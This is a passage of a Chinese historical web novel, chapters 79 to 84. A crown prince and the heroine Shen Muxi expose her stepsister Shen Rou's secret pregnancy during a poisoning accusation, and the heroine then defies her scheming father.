《妻女惨死后,渣王爷一夜白了头》 第79章 还要乱扣帽子? 直到杜衡说话,刘三平这时候才注意到这里竟是正儿八经的官员府邸。 而在杜衡不远处,上首位置还坐着沈老夫人,距离沈老夫人五步之遥,是脸色发白,笑得比哭还难看的沈钏海。 而自己则站在前厅中央。 这架势... 他是来到沈府了? 刘三平本来还痛心疾首的模样瞬间闪过一抹尴尬——他错怪殿下了。 原来殿下是让人请他来沈府为安平王世子问诊... 为了避免尴尬,他笑着朝杜衡开口,“世子这话下官可不认同,有病就得及时医治,顽疾都是拖出来的。” “本世子不是顽疾。”杜衡连忙反驳,“本世子是被下毒的。” “本宫的太子妃被污蔑下毒。”慕容景衍也开口护短。 “不是被污蔑,本世子的身体情况就是证明。”杜衡据理力争,“本世子现在的肚子还隐隐作痛,步履乏力,肯定就是被这个女人的毒药所害。” 眼看杜衡越说越激动,刘三平立刻上前安抚,“既然如此,劳烦世子坐好,是不是被下毒,下官给世子号脉便知。” 慕容景衍终究还是没有再说其他。 所有人都屏息看着刘三平一脸认真地给杜衡号脉。 好一会,他收回了给杜衡号脉的手,恭敬道,“世子的身体除了亏空了些,并无大碍,只要适当戒色即可。” 刘三平的话说得直白,除了杜衡,其他人的脸上都闪过了尴尬神色。 沈柔不死心,“怎么可能?分明就是杜...世子身上余毒未清。” 刘三平立刻转头看向那个质疑自己医术的人,发现是生面孔。 “这位是...” 杜衡连忙介绍,“这是本世子的未婚妻,沈府二小姐。” 刘三平了然。 那个抢嫡姐婚事的沈府继女。 他对这些高门恩怨并不感兴趣。 只是向来不屑那些搞小动作的人。 这个沈府继女,看似柔柔弱弱,可是眼神内敛精明,一看就不是什么省油的灯。 看到沈府的人跟杜衡似乎还蒙在鼓里,他也懒得提醒,转头跟慕容景衍行礼。 “殿下,下官已经确定了世子没有中毒,是否可以离开?” 就在这时,沈府其他去请大夫的小厮也回来了。 慕容景衍本来已经有所松动的神色再次变回坚决。 “既然医正已经来了,不如听听其他大夫的意见?免得你有被买通之嫌。” 刘三平知道自己走不掉,干脆也不再挣扎了。 “是。” 不多时。 来来回回八位大夫都给杜衡号完脉。 答案都是,“世子身体康健,只要注意少近女色就好。” 杜衡看了沈柔一眼,当即涨红了脸,“放屁,本世子房内连个通房丫鬟都没有,怎么会亏空?” “那就奇怪了,”慕容景衍煞有介事地摸了摸自己的下巴,“一个大夫,还有可能是被买通,可是现在八个大夫跟一个太医院医正都众口一词,总不可能所有人都被买通了吧?” 闻言,刘三平第一时间开口,“殿下,下官以从医三十年的经验担保,不会误诊,至于被买通,简直就是无稽之谈。” 他已经忍了很久了。 这些人,可以质疑他的其他方面,但是绝对不可能质疑他的医术跟人品。 都把他当什么人了? 其余大夫听到刘三平喊“殿下”,连忙头都不敢抬,纷纷跪地,“草民以性命担保,所说一切皆为真话,还望殿下开恩。” “沈大人怎么看?” 突然被点名,沈钏海额上冷汗就没有停止过。 “下官...下官...” 眼看他下官了半天都没有下官出个所以然,慕容景衍又将目光放到了一直不说话的沈老夫人身上。 “老夫人,本宫来了这么久,你也坐着看戏这么久了,也该是时候起来松动一下筋骨。” 突然被叫到,沈老夫人先是微微一愣,随后立刻诚惶诚恐地从主座上起来。 “老身一时忘形,还望殿下恕罪。” 从刚才太子进了前厅没让她起来的时候开始,她就一直以为太子是因为婚事的原因,尊重她这个长辈,也乐得倚老卖老。 没想到,他居然会这么不给面子,说翻脸就翻脸... 慕容景衍没有理会她的告罪,只是把刚才的问题又复述了一遍。 “老夫人认为,沈曦可有下毒之嫌?” 这个问题下来,几乎就是要沈老夫人盖棺定论。 一时间,所有人的目光都落在她身上。 沈老夫人握着拐杖的手微紧,朝慕容景衍客气一笑,“一切但凭殿下指示。” 她想把球踢回去给慕容景衍。 事到如今,沈慕兮有没有下毒之嫌已经不重要了。 又或者是,沈府的人都知道沈慕兮很有可能是被冤枉的,目的就是为了谋算那份从张氏那里回到沈慕兮手上的嫁妆,但是他们还是选择将沈慕兮推出来。 “本宫可不敢指示,不然肯定又会被某些人拿着做文章了。”慕容景衍意有所指地看了一眼杜衡。 杜衡还没说话,刘三平先对慕容景衍开口了。 “殿下,既然世子信不过下官,留下下官也于事无补,还望殿下允许下官先行告退。” 至于退下之后会发生什么事,那就不好说了。 沈慕兮意味深长地看了一眼急着要离开的刘三平,又看了一眼已经得罪了刘三平浑然不知的杜衡,嘴角若有似无地抽搐了一下。 慕容景衍为难地看了在场的其他人一眼,最后还是乖乖地让拦住刘三平的贺鸿退下。 刘三平离开后,其他大夫也纷纷告辞离开。 没有人肯趟这趟浑水。 “你现在满意了?” 杜衡一脸愤怒看向沈慕兮。 仿佛沈慕兮对他做了什么十恶不赦的事情。 沈慕兮冷冷笑道,“太子殿下还在,世子确定还要往我头上乱扣帽子?” 第80章 沈柔有喜 自知已经占不到什么便宜。 沈柔轻轻扯了扯杜衡的衣袖。 杜衡反手握住沈柔的手,“柔儿不用怕,即使今天殿下也在,我也要把沈慕兮这个毒妇所作的一切说出来,继母不过只是受伤卧床,她就这么迫不及待地伤害你,她真当整个沈府都是他的天下了?” 沈慕兮唯恐天下不乱,“所以世子这么急着找我麻烦,是想要转移话题,掩盖你年纪轻轻把底子掏空的事情?” 她的话一出口,沈柔脸色微变,却还是没有松开被杜衡紧握的双手,“我相信世子不是那种人。” 杜衡得意地瞥了沈慕兮一眼,要再次握紧沈柔的手,“还是柔儿深得我心。” “是啊,面上说着不在意,可是眼眶都红了,一副柔弱又倔强的模样,也不知道装给谁看。”沈慕兮继续拱火。 沈钏海也注意到了沈柔的样子,连忙开口劝说,“柔儿,莫要胡闹,世子是什么人,难道你还不清楚?” “有没有可能,她就是太清楚了所以才会相信了我的话?”沈慕兮笑眯眯地开口。 “我就说,世子以前就看不上我,怎么可能会乐意跟我纠缠,原来都在这里等着呢,不过我的腰不好,这个锅我可背不起。” 沈钏海恼羞成怒地转头怒斥沈慕兮,“逆女你闭嘴。” “沈大人这是要当着本宫的面亏待本宫未来的太子妃?” 慕容景衍的声音比沈钏海更大。 沈老夫人站起来以后没得慕容景衍的允许,不敢坐下,本来看到沈钏海责备沈慕兮还想说上几句。 可是对上慕容景衍那个轻飘飘的眼神,她顿觉一股威压像是泰山压顶一般袭来。 她举到一半的拐杖轻轻放下,哽在嘴边的“家门不幸”半天憋不出来,只好站在原地捂着胸口大口喘气。 沈曦在一旁看热闹看得津津有味,“难怪,你会这么笃定。” 那泻药掺杂了解药还有其他毒药,最后将人的身体蚕食还不让大夫找出半点端倪。 “你到底是怎么想到的?” 对上沈曦好奇的眼神,沈慕兮小声笑道。 “以前,在我的世界,一直都有流传一句话。” “什么话?” “家有逆子,一般都是皮带沾碘伏,边打边消毒。” 沈曦一下子忍不住笑了出声。 虽然她不知道皮带是什么,更不知道碘伏是什么,可是“逆子”,她是知道是什么意思的。 敢情,慕兮是把杜衡当成是自己的儿子呢。 只是... “你是不是还在等其他事情?” 沈曦好奇地看向沈慕兮。 都脱困了还不走,这不像她的风格。 沈慕兮微微一笑,“等着。” 这边,杜衡还在跟沈柔掰扯自己的贞洁问题。 沈柔由于激动,竟然干呕了一声。 所有吵闹声戛然而止。 连慕容景衍想要离开的步子都停了下来。 他收回去了迈出一半的脚,先是疑惑地看了沈慕兮一眼,对上沈慕兮不着痕迹地点头之后,他才探究地看向沈柔。 沈柔连忙开口,“我~~yue~我前些天肠胃有些不舒服...” 杜衡当即顾不上跟沈柔掰扯,连忙心疼地扶着她坐下,“你说你,身体不适还要这么操劳奔波。” 沈慕兮好笑地挑眉。 再操劳也不过只是从她的院子里过来前厅凑热闹,再奔波也不过只是动动嘴皮子提醒他几句似是而非的话再给她泼泼脏水。 怎么到杜衡这里,这贡献好像比救了杜衡的命还大? “沈曦,你妹妹生病了,你居然还笑成这样,你果然没良心。” 杜衡一声责骂,直接给沈慕兮坐实了她“没良心”。 慕容景衍似笑非笑地看着杜衡,“所以,你有这个功夫,请大夫了吗?” 杜衡后知后觉反应过来想要请大夫,被沈柔一把拉住了,“杜衡哥哥,我没事,我现在一直有吃大夫的药,所以不用请大夫也是可以的。” “那不行,”慕容景衍一本正经地开口,“知道的人是你主动不让请大夫,不知道的,还以为沈府有多苛待你了,搞不好,到时候,那些火又烧到本宫太子妃的头上,那本宫岂不是成为南渊笑话?” 杜衡不屑地撇嘴。 你以为你现在就不是笑话了? 但是,慕容景衍刚才说得对。 “还是请大夫来看看,这样你我也能安心。” 杜衡说完,正要唤来小厮请大夫,被慕容景衍阻止了,“等你去请大夫,搞不好你的柔妹妹都要厥过去了,本宫已经让人去将刘医正请回来了,等着吧。” 刘医正? 沈柔的脸色顿时变得惨白一片。 “我不用,真的没事...” 她挣扎着就想起来离开。 结果才站起来,她就一阵晕眩,差点站不稳。 杜衡心疼得心肝都要掉出来了,“你看你,肠胃不适,非同小可,还要逞强,我拉了三天肚子都快站不稳了,更何况你这个弱女子?” 说完,他又恶狠狠地剜了沈慕兮一眼,“不管你有没有对柔儿做些什么,你都最好祈祷柔儿没事,否则我定然不会放过你。” 沈慕兮勾了勾嘴角。 沈柔这是有孕在身,她想做些什么,也没这个本事让沈柔怀孕啊。 贺鸿的速度很快。 不到半柱香,刘三平又被他扛回来了。 “贺侍卫,咱有话好好说,你要‘请’就请,为何非要用这么粗暴方式将老夫扛过来?” 重新落地,刘三平一脸无奈地看着贺鸿,又委屈地瞥了慕容景衍一眼。 不等慕容景衍开口,杜衡就先将他拉到沈柔面前,“刘医正,劳烦你,帮忙给柔儿号一下脉。” 刘三平看了一眼在场神色各异的其他人,忍不住问道,“世子该不会又是怀疑沈大小姐给沈二小姐下毒了吧?” 贺鸿尴尬地摸了摸鼻子,“你先号脉。” 刘三平看了一眼慕容景衍,后者朝他点头,“事无不可对人言,不管是什么,你如实说即可,即便是他们都不信你,本宫也信你。” 他的语气严肃认真,让刘三平产生了一种看到以前的慕容景衍的错觉。 他一阵恍惚。 还是很快调整了思绪,想要给沈柔号脉。 沈柔微笑着想要收回手,“真的只是小毛病,不用这般兴师动众。” 杜衡一脸紧张地按住了她的手,“既然刘医正来了,就让那个刘医正看看,让我放心,嗯?” 他的温柔,是沈慕兮从没在沈曦里的记忆中看过的。 莫名的,她想起了当初自己做鬼时候,看到顾时对苏柳溪与自己双标时候的那种难受感觉。 她看了一眼在自己身边的沈曦。 后者只是眉目冷淡的勾起一抹冰冷笑意。 沈慕兮暗暗松了一口气。 沈曦,比她拎得清,也比她抽身快。 “刘医正,可是有什么不妥?” 慕容景衍看着刘医正反复给沈柔号了两次脉,又神色怪异地瞥了杜衡一眼。 心中大抵有了猜测。 听到被点名,刘医正在号了第三次脉以后,终于还是收回了号脉的手,“沈二小姐是喜脉。” 第81章 孩子不是杜衡的 “喜脉?” 沈钏海脸上先是一阵迷茫,继而眼底闪过一抹狂喜。 他的柔儿果然出息,居然这么快就跟世子生米煮成熟饭了。 反观杜衡,整张脸都绿了。 “刘医正,你说的可是真的?” 不知是气还是怒,他的声音还带着颤。 他都没碰柔儿,哪来的喜脉? 因为太过震惊,他的语气还带了几分质问。 若不是慕容景衍在场,只怕他早已拎起刘医正的衣领。 沈钏海也感觉到了杜衡的态度不对。 连忙劝说,“世子息怒,也许是天色已晚,刘医正一时误诊也是正常。” “本官怎不知,误诊不误诊竟跟天色早晚挂上联系了?” 再一次被质疑医术,刘医正一张老脸长得通红,花白的胡子被吹得一抖一抖的。 沈柔故作平静,一脸委屈地看向杜衡,“杜衡哥哥你信我,我真的只是肠胃不适。 我身边的丫鬟可以作证,我现在还在喝着调理肠胃的药汤,怎么到刘医正那里就变成喜脉了?” 杜衡几乎是出于本能地相信了沈柔,毕竟,柔儿对他的一往情深,他是知道的。 他一脸不悦地看向刘医正,“柔儿天性纯良,她会说谎吗?” 说着,他还若有似无地瞥了慕容景衍一眼。 就差没有明晃晃地说慕容景衍跟刘医正串通好了。 慕容景衍也不恼,只悠悠开口,“刘医正从皇祖父的时候就已经在太医院,如今更是深得父皇重用,你们的意思是,本宫收买了刘医正?” 这些话,从旁的皇子口中说出来,多多少少要有些避讳——一个皇子,跟太医关系这么密切,是想要做什么? 可从慕容景衍口中说出来,旁人只觉得再正常不过。 连“父皇若是觉得儿臣丢你的脸,那你便废了儿臣这个太子,刚好可以让三弟做我南渊的一国储君”这样没脑子的话他都敢在金銮大殿上说出来。 他还有什么不敢说的? 这番话一出口,无形之中抬高了刘医正的地位。 今天刘医正一而再再而三地被质疑医术本就委屈。 得了慕容景衍的撑腰,他本来半佝偻为杜衡汇报的腰瞬间挺直了。 “下官虽学艺不精,却也知道如何验证女子有孕无孕。” 说着,他取出随身携带的简易针袋。 看着泛着寒光的银针,沈柔忍不住在杜衡怀里瑟缩了一下。 杜衡皱眉,“刘医正是什么意思?” “银针刺穴,可以验证女子有孕无孕。 以银针刺入女子三阴,若女子为处子,银针取出之时依旧光洁如新,穴位不会出血; 若是女子非处子,银针取出之时银针泛灰却穴位出血; 若女子是孕妇,银针扎之,穴位泛青紫而银针发黑。 这是民间古医书记载的一种不常见的方法,在前朝时候,用于检查名声不好的女子是否贞洁。” 刘医正解释完以后,银针已经准备就绪。 “劳烦沈二小姐移步。” 沈柔可怜巴巴地看向杜衡,“杜衡哥哥...” 出乎意料的,这次杜衡没有反对刘医正,而是轻哄沈柔,“既然事情已经到这个地步,你去配合刘医正,到时候也可以堵住悠悠众口,若是此事给你还了清白以后,还有人对你说些其他有的没的,本世子定然不会放过那些乱嚼舌根的人。” 说到后面,他恶狠狠地剜了沈慕兮一眼。 沈慕兮只觉得给他翻白眼都浪费表情,转身看向刘医正,“我听说,这银针刺入三阴穴,若是严重的,可是会导致有孕之人流产,可有此事?” 刘医正点头,“一般用这种方式验明正身的,基本都是受了大冤屈要还自己清白,既是清白之人,又怎么可能会有孕? 说句不好听的,还未成亲有名分就珠胎暗结的,那是孽种,寻常人家要打掉都来不及了,还哪有功夫去心疼?” 说完,刘医正还十分体贴地请求慕容景衍的允许,将沈柔“请”到侧厅。 这下,沈柔慌了。 再也挂不住脸上可怜巴巴的神色,开始挣扎,“不,我不用,我真的只是肠胃...” 到现在,如果杜衡还看不出沈柔的问题,那他就是白活了。 “柔儿,你老实告诉我,你当真只是肠胃的问题?”他的态度严肃。 沈柔还是第一次看到杜衡这副模样。 她有点心虚地别过脑袋,最后还是求救似地看了沈老夫人一眼。 那一眼轻轻撇过,速度很快,可还是被沈慕兮跟沈曦捕捉到了。 “沈柔的肚子难不成还跟沈老夫人有关系?” 沈曦轻声问道。 沈慕兮顾不得应和沈曦,只一眨不眨地看着两人的互动。 可惜只有那迅速且隐秘的一眼。 就在沈柔绝望之际,沈老夫人重重往地上一倒。 身边的丫鬟立刻脸色大变,“老夫人,老夫人您怎么了?” 沈柔更是挣开了下人的手,飞扑到沈老夫人面前,“刘医正,先救祖母。” 沈老夫人这一晕倒,沈慕兮就知道,今日的戏唱得差不多了。 她悄悄看了慕容景衍一眼,后者刚好看向她,两人只是简单对视了一眼,便不约而同地离开了前厅,将一场闹剧抛在身后。 ... 南渊京城的宵禁在亥时初。 眼下大街上已经没有多少人。 沈慕兮与慕容景衍并排走在大街上。 贺鸿远远地跟在两人身后。 沈慕兮斟酌片刻,最终还是开口,“沈柔有孕了,孩子不是杜衡的。” 第82章 沈柔肚子里的孩子是谁的? “本宫不瞎。” 慕容景衍随口问道,“若是本宫今日没到,你打算如何破局?” 今天杜衡的目的性很强,看似是为了沈柔,实际不尽然。 想到如今安平侯府在朝中地位微妙,慕容景衍负在身后的右手轻捻指腹,面上维持与沈慕兮独处时候的漫不经心。 “大夫不会查出任何端倪,这次请大夫,目的也是为了让杜衡知道沈柔有孕的事情。”沈慕兮如实回答。 慕容景衍轻笑一声,“杜衡只怕做梦都没想到,他以为遇到一朵好拿捏的小白花,结果竟是一个朵黑透了心肝的食人花。” 沈慕兮赞同点头,“沈柔,确实不如我们面上看到的简单。” 正常女子,早在众目睽睽下被发现有孕,早已羞愤欲死,而沈柔居然还能维持淡定这么久。 今日如果不是慕容景衍在场,只怕沈柔那委委屈屈的样子一下子就将杜衡糊弄过去。 “眼下就是不知道,沈钏海跟沈老夫人与沈柔是不是一条心。” 沈慕兮眼底闪过一抹焦躁暗色,抬眸看向慕容景衍,说出了自己的担忧,“殿下明察秋毫,应该比民女更加清楚沈钏海到底想如何。” 眼前女子,目光澄澈平静,没有试探,态度坦然。 慕容景衍在袖中轻捻的指腹微微一顿,随即轻嗤一声,“谁知道呢?” 他的声音清润,如山涧清泉缓缓沁入人心,抚平了沈慕兮心中的焦躁。 他知道。 他不告诉她。 这是沈慕兮得到的讯息。 两人默契地没有再说话。 滴滴哒哒的马蹄声由远及近。 一匹快马迅速飞奔而来。 沈慕兮才来得及抬头看向快马飞奔前来的方向,只听到耳边一声“小心”。 她的双臂一紧,紧接着就是天旋地转。 他的手指漂亮修长且有力量。 但是他的手却冷得像冰块一样。 紧绷的力度透过厚实衣裳传递到她的手臂上,像是被冰冷的铁箍紧紧钳制,又像是被死人抓住了一般。 两人对视的一瞬间,她身上的汗毛竖起,一股酥酥麻麻的感觉从手臂位置流窜至全身。 她后脊发凉,连忙推开了他。 来不及尴尬。 在两人身后的贺鸿此时已经迅速上前,在慕容景衍身边低声道,“是边关的人。” 慕容景衍目光微沉,看了一眼那人离开的方向,又转头看了沈慕兮一眼。 刚才推开慕容景衍的时候,即使隔着厚厚的衣物,她都能感觉到慕容景衍身上传来的冰冷感觉。 从内而外散发,完全没有温度。 如今再对上他的眼神,她嘴巴几乎脱口而出,“若是殿下有事情要忙,就先去忙,我可以自己回去。” 在慕容景衍准备开口的时候,她又道,“沈府那边,我可以应付。” 她倒不是以为慕容景衍有多担心自己,只是觉得,慕容景衍这种人,应当不喜欢麻烦。 毕竟,她就是这样的人... 慕容景衍话到嘴边,看到她一副赶着要离开的模样,他轻嗤一声,“如此便是最好。” 他还真是疯了,居然还想给她留两个能用的人。 一股连自己也不知道为什么冒出来的脾气想要占据他的理智。 很快又被他重新按捺下去。 她转身。 转身到一半,他只觉得手上一暖。 刚才那个想要离开的人,此时站在她的身边,往他的手上塞了一个小小的瓷瓶。 “若是晚上冷得睡不着,吞服两颗。” 小小的瓷瓶带着体温。 冷风袭过,慕容景衍似乎还闻到了女子身上淡淡的药香。 暖意从小小的瓷瓶在他的掌心蔓延。 他像是被烫到一样将东西塞回沈慕兮的手上。 “不必。” 说完,他转身吩咐贺鸿,“送沈小姐回府。” “是。” 贺鸿不明所以地看着自家主子以堪比被鬼撵的速度快步离开。 转头看到沈慕兮也在看慕容景衍离开的方向,他连忙开口吸引沈慕兮的注意,“沈小姐,请。” 沈慕兮轻轻点头,收好瓷瓶,与贺鸿一同回去了沈府。 在大门位置刚好看到怒气重重的杜衡跳上了安平侯府的马车。 门口看守的下人挽留不了杜衡。 转头看到沈慕兮是太子的人亲自送回来,便也不敢多加为难。 沈慕兮顺利回府。 早在沈慕兮拿出小瓷瓶的时候,沈曦已经十分意外,她一直强忍着心中好奇。 直到沈慕兮踏入垂花门,才忍不住好奇问道。 “慕兮,你为何要给他火莲丹?” 火莲丹是用十年才出一次果的火莲果再用各种大补的药材熬制炼成。 寻常体寒的人,只服下一颗便可调理体质,服下三颗,即可固本培元祛除体内所有寒气。 而沈慕兮手上的那瓶火莲丹,足足有十颗... 如此大手笔... “刚才他扶我的时候,手上的体温低于常人。 而且我还注意到了,他的手指指尖泛着青白,若不是常年有顽疾困扰,那便是中了毒而不自知,具体我得要为他号了脉才知道。” 顿了顿,她又道,“都是一根绳子上的蚂蚱,若是能用火莲丹获得他的信任,倒也不亏。” 之前沈慕兮还没什么感觉。 可是经过今晚这么一闹,沈慕兮倒是发现了,慕容景衍的身份有时候还是可以给她带来许多便利。 沈曦瞬间明白了沈慕兮的打算,便没再纠结,反而说起了另外一个事情。 “刚才我们离开的时候,杜衡还在这里跟沈柔纠缠,没想到他离开得这么快。” 沈慕兮凉声轻嗤,“离开太快,也不是好事。” 但凡是个正常男人,但凡杜衡对沈柔有一点真情,他都不可能没有火气。 就是发了火以后,不知道沈柔的亲事还能不能保住。 不过,她倒是有点好奇,沈柔肚子里的孩子到底是谁的? 一路与沈曦有一搭没一搭的聊着,沈慕兮很快回到了自己的院子。 远远看到院子点了灯。 沈慕兮眉心微微一挑,“你猜,来的会是谁?” 沈曦嘴角讥诮一勾,“还用猜吗?” 沈柔经过今晚一闹,大概是没了来寻她的心思。 沈老夫人与她向来都是“点头之交”,有时候在关键时刻出现“为她解围”,平日很少来她的院子。 张氏现在还在昏迷中。 那么就只有沈钏海了。 仿佛印证了沈曦的说法。 沈慕兮才刚踏入院子。 一个茶盏就迎面飞了过来。 “小心!!” 几乎是沈曦开口提醒的那一刻,沈慕兮已经往身边移了两步。 “锵——”的一声。 茶盏在她身后三步远的位置碎成了渣渣。 “还知道回来?” 第83章 要是听话,我还怎么做逆女? 邺城的冬天滴水成冰。 尤其是晚上。 茶盏砸过来的时候,目标是她的脸,杯中还带了一些没喝完的茶水,这会落地已经结冰了。 很难想象,若是这个带着茶水的茶杯若是真的砸到她的脸上,碎裂的瓷片在她的脸上划出伤口,会是什么惨状。 抬眸看到沈钏海身穿厚实的大氅站在屋前,沈慕兮眼神一冷。 连语气也是按捺着怒火。 “这里是女儿的家,女儿不回来,上哪去?” 沈钏海怒极,上前拦住了她回去屋中的去路。 “现在安平侯世子要跟柔儿退婚,问题是你扯出来的,你去处理好。” 沈柔有孕被杜衡退婚,也要算在她头上? 沈慕兮气笑了,“凭什么?” “凭什么?”沈钏海理直气壮地开口,“要不是你给杜衡下药,杜衡就不会找上门,你妹妹又怎么会...” “第一,”沈慕兮不急不缓地打断了沈钏海的话,“这门亲事,本来就是沈柔从我手上抢走的,杜衡之前能为了我退婚与沈柔定下婚事,自然也能移情别恋为了别的女子与沈柔退婚。 沈柔被退婚,你难道不应该先去查一下杜衡到底有没有移情别恋?” “第二,你口口声声说是我下了毒,你有证据吗?连大夫都说了是杜衡自己没有节制,你是半点不把大夫的话放在耳中。” “最后,沈柔有孕,你不去逼问沈柔孩子爹是谁,反而来让我处理,怎么,我是沈柔孩子的爹?还是你觉得,我没有将你们一家子赶出我娘的县主府,一切都是我咎由自取?” 提及到“县主府”的那一刻,沈钏海连脸都绿了。 “你...” 一连挤出了好几个“你”,沈钏海也想不到反驳的话,这时才惊觉,女儿似乎真的变得不一样了。 再结合最近几个月的事情。 他看向沈慕兮的目光逐渐从愤怒变成审视,最后干脆开口,“你不是沈曦,你到底是谁?” 以前,只要他开口,沈曦基本都是有求必应。 如今的沈曦,在他眼前却是如此陌生。 沈钏海不由得警惕起来。 “你把我的女儿藏到哪去了?” 沈曦都已经变成灵体四个月了。 沈钏海才发现原来的“沈曦”跟以前的沈曦不一样。 沈慕兮的心口隐隐作痛,为沈曦曾经的满怀期待不值。 那时候,直至沈曦咽气的前一刻,她都希望父亲能看清沈柔跟张氏的真面目... 沈曦在一旁满眼失望地看着沈钏海。 许是受到沈曦的影响,沈慕兮的鼻头一酸,差点没绷住嘴角的冷笑。 她“呵”地笑出了声,“怎么,只允许沈府的所有人趴在我背上吸血,还不允许我反抗了? 还是说,时间隔得太久远,父亲忘记了在将我送走的那一年,做过什么事了?” 沈慕兮的话一出口,沈钏海当场变了脸色。 他当然记得在女儿五岁那年做了什么,也是因为那个原因,所以他才想尽办法想要将女儿送走。 给宫氏编了一堆的借口理由,最终得到宫氏的首肯... 原以为她去了乡野回来会变得粗俗不堪,继而会喜欢柔儿的体贴可人。 没想到... 她回来以后,不仅没能让宫氏厌恶,反而让宫氏因为觉得亏欠而更加疼惜她... “父亲当初在假山里与...” “好了,我知道你是真的了。” 他急忙打断了沈慕兮想要说出口的话,挫败地看向她。 “你究竟要如何才肯帮柔儿?” 他的精神气仿佛一下子被抽走了许多,一双眼眸充满血丝。 俨然一位为爱女伤神的慈父。 可惜,他的“慈”,与她没有半点关系。 “不管如何,我都不会帮沈柔,不过只是一个勾引主子的丫鬟离府生了孩子又回来以亲戚关系投奔上位,也配我为她耗费心神?” 沈钏海脸色一变,很快又恢复正常。 “简直就是胡言乱语。” 如果沈慕兮刚才的一番话只是试探,那么在看到沈钏海的态度那一刻,她基本就能肯定。 张氏,是当年那个在假山后勾引沈钏海翻云覆雨的婢女。 沈曦,也是因为那一次看到两人在假山后衣衫不整地运动惊叫了一声被发现的。 那时候,沈曦还小,不知道一男一女脱了衣服动来动去意味着什么。 在沈曦的记忆中,最清晰的记忆是在她五岁那年,沈府还是县主府。 父母争吵厉害,没多久,她就被送走了... 临走时候,娘亲滚落的泪珠落在她的手背上,冰凉又夹着一丝热气。 那种感觉,如今回想,沈慕兮还是难受得想落泪。 “...你个逆女,为父说的话你是半句不听了是吧。” 身前传来沈钏海气急败坏的声音。 沈慕兮看到沈钏海一张脸通红一片。 也不知道是被冻的还是被气的。 果然,一旦一个人对什么都不在意的时候,对方即使在你面前上吊,你都只会觉得他在荡秋千。 以往都是沈钏海冤枉沈曦,沈曦在沈钏海面前拼命自证却换不来一个正眼。 如今的位置,似乎颠倒了过来。 沈钏海今日在沈慕兮面前,就像一只会做表情会说话的猴子一样,两人之间有一条深不可测的沟壑。 她在这头,沈钏海在另一头。 无论他怎么暴躁跳脚,也影响不了她半分。 心中郁气似乎消散了些。 沈慕兮面对沈钏海的神色就像在看一个陌生人那般淡漠,连语气也不似刚才那样有波澜。 “父亲你若是没什么事,就回吧,沈柔的事情你不必再从我身上浪费力气。” “我是你父亲,在家从父,你敢不听我的?” “要是听话,我还怎么做逆女?”沈慕兮浅浅一笑,看着沈钏海的模样就像在看一只无理取闹的猴子,“你之前那个孝顺的乖女儿,早已在你偏袒沈柔的时候被沈柔推下水害死了。” 也许是她的目光逐渐变得瘆人。 沈钏海竟然在心底泛起了一抹心虚。 他逃也似的离开了。 看了一眼沈钏海离开的方向,沈慕兮抿唇清浅一笑,笑意丝毫不到眼底。 沈曦知道,沈钏海要完了。 沈钏海去了沈慕兮院子里找麻烦最后落荒而逃的消息很快传到了沈老夫人的耳中。 她气得挥手打碎一个上好的汝窑花瓶。 “那个沉不住气的东西。” 第84章 顾时不好掌控了 沈老夫人身边的刘嬷嬷连忙上前安慰,“老祖宗息怒,老爷也只是爱女心切,没想到大小姐是油盐不进。” 沈老夫人冷哼一声,“爱女心切?他的爱女心切,几乎毁了我全盘计划。” 因为愤怒,她反手又扫落了一个精美的薄胎镂空雕花双耳瓶。 似是发现自己的言行十分不得体。 她深呼吸了几下,闭目养神好一会,才重新睁眼。 “罢了,你帮我递个消息。” 刘嬷嬷应了一声,体贴地俯身在沈老夫人嘴边。 沈老夫人在刘嬷嬷的耳边低语了一番。 刘嬷嬷连连应是,很快离开了。 屋外天色黑沉沉的一片,连月亮都躲到了厚厚的云层中。 沈老夫人的佛珠停留在手上,看着屋外黑沉沉的天,眼底情绪凉薄且复杂。 “要是不听话,留着你也没用了。” ... 北宸。 大雪初歇。 给整个北宸京城覆上了一片白。 时值正午,虽艳阳高照,空气依旧冷得刺骨。 城郊的一座破庙中。 一个身穿浅色狐裘的女子正神色紧张地看着庙外。 宽大的狐裘掩盖了她婀娜的身影,却不难从她僵硬走路的看出了她是一个孕妇。 “堂姐。” 一个戏谑的声音响起,在安静的破庙中格外突兀。 苏柳溪差点被吓得跳了起来。 看清来人之后,她散步并做两步走到那人跟前,娇嗔打了一下他的肩膀,“跟你说多少次了,不要用这种语气喊我。” “不用这种语气,那要用什么语气?”男人流里流气地环上了苏柳溪的腰。 一双黢黑的大手与他俊秀带着一点娃娃气的脸形成了鲜明的对比。 只见那双大手毫不客气地钻进她的狐裘,轻抚她微凸的小腹,眼神是难得的温柔,“最近怎么样了?我的宝贝儿子乖不乖?” 苏柳溪瞬间红了耳根,“没个正形,就不能是女儿吗?” “那不行,老子现在的隐忍筹谋都是为了咱们的儿子,要是丫头片子还怎么继承荣郡王府?生不出儿子,你得给我继续生。” 仗着没人,“苏勇”连说话都不夹着了,还带了一些匪气。 苏柳溪红着脸推开了他的手,“现在不是说这些的时候,今天找你来,我是有正事的。” 听到正事,苏勇面上的流里流气散去,慢慢恢复了往日的憨厚模样,“什么事。” 苏柳溪严肃地开口,“顾时不知道是哪根筋不对,居然悄悄找人去丹阳找沈慕兮母女,要不是陈十六发现了其中一个手下不见了,这个事情,顾时还不打算告诉陈十六了。 我隐隐觉得,顾时已经不好掌控。 虽然那对母女已经被我们处理了,但是他这样继续深挖,我怕...” 不等苏柳溪说完,苏勇的眉头已经拧紧,“他是什么时候遣人去丹阳的?” “十天前。” “十天这么久?”苏勇不满地看向苏柳溪,“怎么这么久才告诉我?” 说起这个事情,苏柳溪就觉得来气,向来温婉的面容,此时也因为愤怒而变得有些狰狞,“你问我,我怎么知道?” 她费尽心思留在顾时身边,好不容易用尽手段嫁给顾时。 原以为成亲以后就是好日子的开端。 没想到顾时现在对她,完全没有成亲前的热情... 所以她才急啊。 烦躁地踱步了几下,苏柳溪猛地顿住了脚步,转头看向苏勇。 “你说,他有没有可能,真的对那对母女上心了?” “真的上心又如何?你又不爱他,那对母女也消失在世上了。” 苏勇一脸不屑。 看到苏柳溪似乎十分不悦他的态度,他连忙改口,“好啦,放心,我的人要是今天快马加鞭出发,可以追上去的,再不行,这不是还有我吗?” 说话间,他的手又开始不老实了。 苏柳溪想要推开他,奈何他的手只在她的后腰轻轻一捏,她顿时软得像一滩被晒化了的雪水。 软软地倒在了苏勇的怀里。 “你打算怎么做?” 苏勇抱着她走到马车前。 跟着苏柳溪出来的车夫跟丫鬟都是苏柳溪的心腹,知道苏柳溪有正事,都十分体贴地走远为苏柳溪望风。 苏勇抱着苏柳溪仿佛没有半点重量,轻飘飘地跳上了马车。 马车被布置得温暖又舒适。 